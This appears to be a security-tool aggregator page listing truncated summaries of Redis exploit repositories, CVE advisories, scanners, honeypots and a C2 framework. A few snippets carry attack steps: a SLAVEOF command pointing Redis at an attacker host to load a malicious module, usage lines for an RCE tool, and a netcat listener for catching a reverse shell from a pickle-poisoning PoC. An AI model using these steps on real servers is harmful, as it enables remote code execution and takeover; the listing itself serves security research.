metta

Metta Metta is an information security preparedness tool. This project uses Redis/Celery, python, and vagrant with virtualbox to do adversarial simulation. This allows you to test mostly your host based instrumentation but may also allow you to test any network based detection and controls...

redis-poc

RCE autenticado en Redis doble liberación de NACK en streams, errores de los módulos TDigest y TopK Exploits de RCE no destructivos para Redis 6.2.22, 7.4.9, 8.6.4 mediante la doble liberación de NACK compartido en grupos de consumidores de streams una evasión del parche de CVE-2026-25243, para...

CVE-2026-25243

CVE-2026-25243 — Redis RESTORE zipmap 双重释放 → 远程代码执行 TL;DR. 一个畸形的 DUMP 载荷传递给 RESTORE 会触发 Redis 传统哈希 zipmap 加载器中的堆双重释放 。在默认的 jemalloc 下，该双重释放是 静默 的（服务器继续运行），从而将其转化为可控的类型混淆 原语。本仓库利用此原语实现了在启用 ASLR 的情况下远程代码执行 —— Redis worker 调用 system"" 并保持服务。不是 DoS。 root@kitploit: 默认 Redis（DEBUG 禁用），ASLR 开启 ——...

Redis-RCE

Redis-RCE 适用于 redis4 和 redis5 的远程代码执行 来自 https://github.com/Ridter/redis-rce 的 Python 代码 通过加载so文件，扩展新命令system.exec进行 命令执行成功 strings explin.so |grep sys root@kitploit: system system.exec syserrlist.h sysnerr syserrlist syssiglist system.exec root@kitploit: 0x01 SLAVEOF 192.168.2.18 8989 0x02 confi...

w12scan

w12scan W12scan is a network asset discovery engine that can automatically aggregate related assets for analysis and use. W12scan is also my graduation design. : Here is a web source program and the scanning end is at w12scan-client. Thinking Based on python3 + django + elasticsearch + redis...

CVE-2022-0543

CVE-2022-0543 1.简介 Redis 沙盒逃逸漏洞（CVE-2022-0543）POC&EXP 2.用法 root@kitploit: RedisRCE -help 查看帮助信息 RedisRCE -h 192.168.0.100:6379 无密码连接 //输入q退出程序 RedisRCE -h 192.168.0.100:6379 -p 123456 密码连接 3.免责声明 此工具仅用于学习、研究和自查。 不应用于非法目的，请遵守相关法律法规。 使用本工具产生的任何风险与本人无关！...

CVEs

CVE-2022-2992：通过 GitHub 导入实现远程命令执行 信息 描述： 该漏洞允许经过身份验证的用户通过“从 GitHub 导入”API 端点实现远程代码执行。 受影响版本： 从 11.10 到 15.1.6 之前的所有版本、15.2 至 15.2.4、15.3 至 15.3.2 修复版本： 15.3.2 研究人员： vakzz 分析文章链接： https://blog.redwaysecurity.com/2023/04/desenvolvendo-o-exploit-para-o-cve-2022.html NIST CVE 链接：...

chameleon

19 Customizable honeypots for monitoring network traffic, bots activities, and username\password credentials DNS, HTTP Proxy, HTTP, HTTPS, SSH, POP3, IMAP, STMP, RDP, VNC, SMB, SOCKS5, Redis, TELNET, Postgres, MySQL, MSSQL, Elastic and ldap If you want to implement the honeypots in your project,...

pDNS2

pDNS2 pDNS2 project pDNS2 is yet another implementation of a passive DNS tool working with Redis as the database. pDNS2 means ‘passive DNS version2’ and favors speed in query over other database features. pDNS2 is based on Florian Weimer’s original dnslogger with improved features for speed and...

CVE-2025-49844

🚨 CVE-2025-49844 — “RediShell” Critical Remote Code Execution in the World's Fastest In-Memory Store Redis Lua scripting just became the perfect post-auth landing zone. Authenticated attacker → crafted Lua script → escape sandbox → full RCE on host ⚠️ Overview CVE-2025-49844 "RediShell " is a...

CVE-2026-25243-debugfree

CVE-2026-25243 — 无DEBUG的Redis RCE（私有） 可靠的远程代码执行 ，来自一个精心构造的 RESTORE 命令，针对 jemalloc Redis — 无需DEBUG 命令、无需 /proc、无需 gdb、无需 ROP，ASLR 开启。以 redis 进程身份运行攻击者命令（默认镜像中为 root）。 🔒 私有仓库 — 仅限授权的安全研究/协调披露。请勿重新分发。该漏洞已在上游修复（6.2.22 / 7.2.14 / 7.4.9 / 8.2.6 / 8.4.3 / 8.6.3，提交 b9dde6fc）；本仓库针对修复前的路径。 状态/校准说明（请阅读）...

limitrr-php

使用 PHP 和 Redis 进行轻量级限流。 Limitrr PHP 在很大程度上受到了我为 NodeJS 创建的另一个库 Limitrr 的启发。点击这里查看。 Limitrr PHP 允许用户轻松地在应用中集成速率限制。与其他类似的包不同，该工具不仅允许用户按请求数量进行限制，还可以按已完成操作的数量进行限制（例如允许在一个时间段内成功创建一定数量的账户），并可配合自定义选项对其进行限制。此外，它还支持自定义标识符——你不再需要仅根据用户 IP 进行限制。 该库还提供了一个中间件函数，可让你轻松地对 SlimPHP 项目中可能存在的各种路由进行限流。 如果你喜欢这个项目，请在...

redis-checker

redis-checker Detecta servidores Redis expuestos root@kitploit: usage: redis-checker.py -h -u URL -f FILE -p PROXY -P PORT -s SSL options: -h, --help show this help message and exit -u URL, --url URL URL to test -f FILE, --file FILE File of urls -p PROXY, --proxy PROXY Proxy for debugging -P PORT...

CVE-2026-89263

MoguBlog through 6.2 fails to authenticate requests to the /web/comment/closeEmailNotification endpoint, allowing unauthenticated attackers to disable email notifications for arbitrary users. Remote callers can modify the startEmailNotification flag in Redis cache for any user identifier to...

zuthaka

A collaborative free open-source Command & Control integration framework that allows developers to concentrate on the core function and goal of their C2. Explore the docs » · Report Bug · Request Feature · Table of Contents 1. About The Project Problem statement Solution Built With 2. Already...

EUVD-2026-76136

MoguBlog through 6.2 fails to authenticate requests to the /web/comment/closeEmailNotification endpoint, allowing unauthenticated attackers to disable email notifications for arbitrary users. Remote callers can modify the startEmailNotification flag in Redis cache for any user identifier to...

CVE-2026-89263

MoguBlog through version 6.2 fails to authenticate requests to the /web/comment/closeEmailNotification endpoint, allowing unauthenticated remote attackers to disable email reply notifications for arbitrary users. The root cause is a missing authentication check in the endpoint handler, which perm...

apr-util security update

An update is available for apr-util. This update affects Rocky Linux 10. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list The mission of the Apache Portable Runtime APR is to provide a free library...

apr-util security update

An update is available for apr-util. This update affects Rocky Linux 9. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list The mission of the Apache Portable Runtime APR is to provide a free library ...

FlaskCache_CVE-2021-33026_POC

Pickle Serialization Remote Code Execution - Redis Poisoning PoC Exploit Check redis server up and running redis-cli -h 127.0.0.1 -p 6379 ping redis-cli keys redis-cli get Keyid Start listening netcat at port 10001 : nc -nvlp 10001 Setting environments for Flask Chache python -m venv venvflaskcac...